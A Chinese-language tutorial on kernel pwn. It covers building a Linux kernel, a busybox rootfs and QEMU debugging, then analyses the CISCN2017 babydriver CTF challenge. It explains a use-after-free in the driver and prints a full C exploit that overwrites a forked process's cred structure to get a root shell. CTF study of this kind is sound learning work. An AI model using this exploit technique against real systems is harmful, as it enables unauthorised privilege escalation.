环境搭建
简单分析linux内核漏洞,我们需要用到如下一些工具
- gdb 动态调试
- IDA 静态分析驱动程序
- qemu 模拟器
- busy-box 文件系统
- extract-vmlinux 可以从bzImage中解压出vmlinux
下载编译linux内核源码
linux各版本内核 : https://mirrors.edge.kernel.org/pub/linux/kernel/
linux内核代码在线查看 : https://elixir.bootlin.com/linux/latest/source
我们使用curl命令将内核压缩包下载到本地然后解压缩
curl -O -L https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.9.tar.xz
unxz linux-5.9.tar.xz
tar -xf linux-5.9.tar
下载解压完之后我们就可以配置编译选项然后编译内核了
我们进入解压好的目录cd linux-5.9
然后编辑编译属性make menuconfig
注意 :
这里第一次编译内核可能需要安装一些依赖,我们跟着它的提示安装即可
编译的时候出现这个,也只要安装flex和bison就可以
我们配置编译菜单的时候将这两个选上就可以了,然后我们保存即可
Kernel hacking -> Compile-time checks and compiler options -> Compile the kernel with debug info
Kernel hacking -> Generic Kernel Debugging Instruments -> KGDB: kernel debugger
最新版本的内核这两项都是默认勾选的
然后我们就可以进行编译了(这里我们使用make -j4 bzImage
,直接使用make的话会编译很多用不到的东西,而且很慢)
这里可能又会提示缺少一些依赖,我们只要跟着安装即可sudo apt-get install libelf-dev
有时候可能会有这个报错
我们只需要把.config文件中的CONFIG_SYSTEM_TRUSTED_KEYS
置空就可以了
然后我们继续编译
如果出现这个,则表示编译成功
这里我们编译好内核之后启动的话是会报错的,因为没有文件系统,我们得安装busy-box文件系统
下载 wget https://busybox.net/downloads/busybox-1.35.0.tar.bz2
解压 tar -jxf busybox-1.35.0.tar.bz2
然后我们开始编译文件系统,先进入文件夹 cd ./busybox-1.35.0
配置编译菜单 make menuconfig
这里我们把这个选上然后保存就可以(这是因为我们得将其编译成静态文件,因为kenal是没有libc的)
Setttings -> Build static binary (no shared libs)
然后还得看看这两个,这两个是不能选上的
Linux System Utilities -> Support mounting NFS file systems on Linux < 2.6.23 (NEW)
Networking Utilities -> inetd
静态编译和链接需要额外安装一个依赖 sudo apt-get install libc6-dev
现在我们就可开始编译我们的文件系统了make -j4
编译完成之后我们就可以创建rootfs了,使用命令make install
然后我们在生成的_install文件夹下面创建一系列文件 mkdir -p proc sys dev etc/init.d
创建好之后我们在当前文件夹下面创建挂载脚本(init),并写入
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh
这样我们的文件系统就差不多创建好了,现在我们打包即可 find . | cpio -o --format=newc > ../rootfs.img
我们也可是使用cpio -idmv < rootfs.img
解包
启动内核
我们先安装qemu,安装之前记得sudo apt-get update
更新一下资源包,不然可能会提示找不到包
sudo apt install qemu-system-x86
qemu安装之后我们创建一个文件夹,将之前生成的bzImage和rootfd.img放到这个文件夹中,然后创建启动文件start.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel ./bzImage \
-initrd ./rootfs.img \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr" \
-smp cores=2,threads=1 \
-cpu kvm64
这里注意我们需要将虚拟机的支持虚拟化开起来,不然这边的-cpu kvm64
就会报错
我们打开虚拟机设置,勾选上这个即可
然后我们运行我们创建的start.sh文件,注意这里要勇敢root用户权限启动,即sudo ./start.sh
这样我们就启动好了
内核驱动的调试
我们拿CISCN2017 - babydriver这道题目来调试
这道题目我们拿到后一共有四个文件
- babydriver.ko 内核驱动
- boot.sh 启动脚本
- bzImage 内核镜像
- rootfs.cpio 文件系统
我们首先创建一个box文件夹,到时候我们可以把rootfs.cpio文件系统解压到box文件夹下,然后修改或者把exp放进去然后重新打包
文件系统
我们先将rootfs.cpio文件系统修改名字为rootfs.cpio.gz,并放入box文件夹下
mv rootfs.cpio ./box/rootfs.cpio.gz
然后进入box文件夹下 cd./box
解压该文件 gunzip rootfs.cpio.gz
然后使用 cpio命令将文件系统解出来 cpio -idmv < rootfs.cpio
可以看到在当前目录下生成了这些个文件,这个init就是整个文件系统初始化的脚本,我们可以进去看看
这个位置就是设置uid和gid,如果设置为1000,则是以user用户启动,如果设置为0则是以root用户启用,我们先设置为0,以root用户启动,这样方便我们调试,然后我们返回上一层目录 cd ..
,看看boot.sh文件,这个文件就是启动脚本
这里我们需要添加-gdb tcp::1234
用于远程调试,然后添加nokaslr,这样地址就不会随机化了,方便调试
我们以root权限运行该脚本 sudo ./boot.sh
我们就进入了一个qemu的虚拟化
可以看到我们是以root权限启动的
然后我们新起一个shell,运行gdb用于调试
我们指定远程调试的端口target remote localhost:1234
这时候我们需要添加符号表,我们现在qemu启动的虚拟化中查看装载的驱动
然后在另外一个shell里面添加符号表 add-symbol-file babydriver.ko 0xffffffffc0000000
这样我们就可以设置正确的断点了
然后我们就可以调试内核了
一道题目
我们有了上面这些基础后,我们继续来看CISCN2017 - babydriver这道题目
基础知识
设备
在linux以及所有的unix操作系统中,设备被分为了三种
- 块设备
- 字符设备
- 网络设备
块设备的缩写是blkdev,块设备通常被称为“块设备节点”的特殊文件访问,块设备通常被挂载为文件系统,它是可寻址的,通常支持重定位操作
字符设备的缩写是cdev,字符设备通常被称为“字符设备节点”的特殊文件访问,应用程序通常直接访问设备节点来与字符设备交互
网络设备提供了对网络的访问,通过套接字API来访问
模块
linux虽然是单块内核的操作系统,但是linux的内核是模块化组成的,它允许内核在运行过程中动态地插入或删除代码,这些代码(相关的子例程、数据、函数出入口)被组合在了一个单独的二进制镜像中,这个镜像就被称为模块
静态分析
1.babydriver_init()函数
alloc_chrdev_region()
动态的申请注册一个设备号
cdev_init()
注册字符设备
cdev_add()
告诉内核设备号,一执行这条语句,其操作可以立即被内核调用
_class_create()
将当前设备的设备节点注册进sysfs中
device_create()
初始化逻辑设备
babydriver_init函数就是一些初始化的操作,创建设备
2.babydriver_exit()函数
device_destroy()
用于从Linux内核系统设备驱动程序模型中移除一个设备
class_destroy()
删除设备的逻辑类
cdev_del()
移除cdev结构体变量所描述的字符设备
unregister_chrdev_region()
释放设备号
babydriver_exit函数就是一些清除操作
3.babyrelease()函数
kfree()
释放kmalloc申请的空间
printk()
打印字符串
babyrelease函数就是将babydev_struct.device_buf释放掉
4.babyopen()函数
kmem_cache_alloc_trace()
分配内存
babyopen函数就是在内核中创建了一个 babydev_struct
的结构体,包含了 device_buf
指针以及一个 device_buf_len
成员变量
5.babyioctl()函数
_kmalloc()
分配一块内存
babyioctl函数现将之前创建的结构体free掉,然后又重新分配一块内存
6.babywrite()函数
copy_from_user()
将用户空间的数据传输给内核空间
babywrite函数就是将用户空间的数据拷贝给内核的device_buf
7.babyread()函数
copy_to_usr()
将内核空间的数据拷贝到内核空间
babyread函数就是将内核空间device_buf上的数据拷贝到用户空间
漏洞分析
babyopen()函数分配了一块内存,babydev_struct.device_buf
该指针指向这块内存,然后babyrelease()函数使用kfree释放掉这块内存的时候,并没有将babydev_struct.device_buf
该指针置空,这边就可能存在一个UAF漏洞
babyioctl()函数使用kfree释放内存后也没有将babydev_struct.device_buf
该指针置空,而且又使用__kmalloc分配一块内存
动态调试
首先我们需要先安装extract-vmlinux,使用此工具从bzImage中解压出vmlinux
wget https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
或者直接创建一个名为extract-vmlinux的文件,然后把下面的网页中的内容复制到extract-vmlinux中
https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux
使用extract-vmlinux bzImage > vmlinux
即可
但是这个vmlinux是不带符号表的,它的一些地址都存放在/boot/文件下的一个类似System.map-5.11.0-38-generic的文件中
我们还可以使用vmlinux-to-elf
这个工具,这个工具必须要在python3.5以上的环境,从下列网站中下载解压后,进入文件夹后执行sudo python3 setup.py install
https://github.com/marin-m/vmlinux-to-elf
我们执行这个命令vmlinux-to-elf bzImage vmlinux
即可得到有符号表的vmlinux
然后我们就可以动态调试了
先使用qemu运行虚拟化环境,sudo ./boot.sh
然后我们新开一个窗口打开gdb
add-symbol-file babydriver.ko 0xffffffffc0000000
add-symbol-file vmlinux
target remote localhost:1234
然后就可以下断点调试了
漏洞利用
这里我们先说一下这个linux内核中的cred
结构体,该结构体是用来保存每个进程的权限的,我们只要能够修改该结构体,就可以使得某一个进程的权限为root
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
我们只需要指向两次open,这样即使其中一个fd被close之后,还可以用另一个fd来操作device_buf
我们使用ioctf函数修改babydev_struct.device_buf_len
为cred结构体的大小
然后释放fd1,这时候我们新起一个进程,新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
这样我们就可以修改新进程的结构体的uid/gid为0,就拿到root权限了
exp如下(取自ctf-wiki)
//gcc x.c -static -o c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main()
{
// 打开两次设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xa8);
// 释放 fd1
close(fd1);
// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
int pid = fork();
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}
else if(pid == 0)
{
// 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
char zeros[30] = {0};
write(fd2, zeros, 28);
if(getuid() == 0)
{
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
}
else
{
wait(NULL);
}
close(fd2);
return 0;
}